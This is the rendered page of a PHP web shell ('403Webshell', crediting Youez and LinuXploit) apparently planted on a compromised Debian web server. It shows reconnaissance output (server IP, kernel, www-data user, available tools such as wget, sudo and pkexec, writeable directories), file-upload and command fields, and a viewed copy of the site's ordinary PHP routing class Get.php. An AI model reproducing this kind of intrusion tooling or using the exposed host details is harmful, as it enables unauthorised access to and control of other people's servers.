403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/site/clases1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/site/clases1/Get.php
<?php
/**
 * Class Get
 *
 * @author suxoza <suxoza@gmail.com>
 */


class Get extends Base_class{
    
    public  $_url_masiv_2;
    private $URL;
    
    
    
    public function __construct(){
      parent::__construct();
      $this->URL = explode('/',urldecode($_SERVER['REQUEST_URI']));
      $this->make_url();
        
      
    }
    
    public function make_url(){
        $_ = $this;
            $_->make_masiv();
            $lang = 1;
            $_->_url = $_->URL[$lang];
            $_->_url = (!$_->_url || strlen($_->_url) < 2)?'/':$_->_url;
            try{
                
                if($_->_url && in_array($_->_url,$_->_url_masiv['Geo']))
                   $_->reflection($_->_url_masiv,__CLASS__);  
                elseif($_->_url && in_array($_->_url,$_->_url_masiv_2['Geo']))
                   $_->reflection($_->_url_masiv_2,__CLASS__); 
                ///widgets
                elseif($_->_url && in_array($_->_url,$_->_widgets[0])){
                    $reflection = new ReflectionClass(__CLASS__);
                    echo $reflection->getMethod('widgets')->invoke($_,$_->_url);
                }
                ///end widgets
                else  throw new Page_not_found; 
            }catch(Page_not_found $ex){
                die($this->render('404',["menu" => $_->menu_names(),'message' => $ex->getMessage()]));
            }
            
            
    }

    public function make_masiv(){
        parent::make_masiv();

        $this->_url_masiv_2 = [
            //'Eng' => ['','page'],
            'Geo' => ['exit','page','lang'],
            ['exit_user','page','lang']
        ];
    }
    
    public function exit_user($a){
        session_destroy();
        header("Location:/");
    }
    
    public function Hello_word($a){
      $_ = $this;
            
       $this->render('base',
                      ["menu" => $_->menu_names()]
               );
    
      //Tester::render();
    }
    
    public function lang($a){
        $_ = $this;
        try{
            $lang = $this->URL[array_search('lang',$this->URL) + 1];
            if(!$lang)throw new Exception('language error');
            $_SESSION['language'] = $lang;
            header("location:".$_SERVER['HTTP_REFERER']);
        }catch(Exception $ex){
           die($ex->getMessage()); 
        }
    }
    


  
    
 
    

    

    
    
 
    
}    

Youez - 2016 - github.com/yon3zu
LinuXploit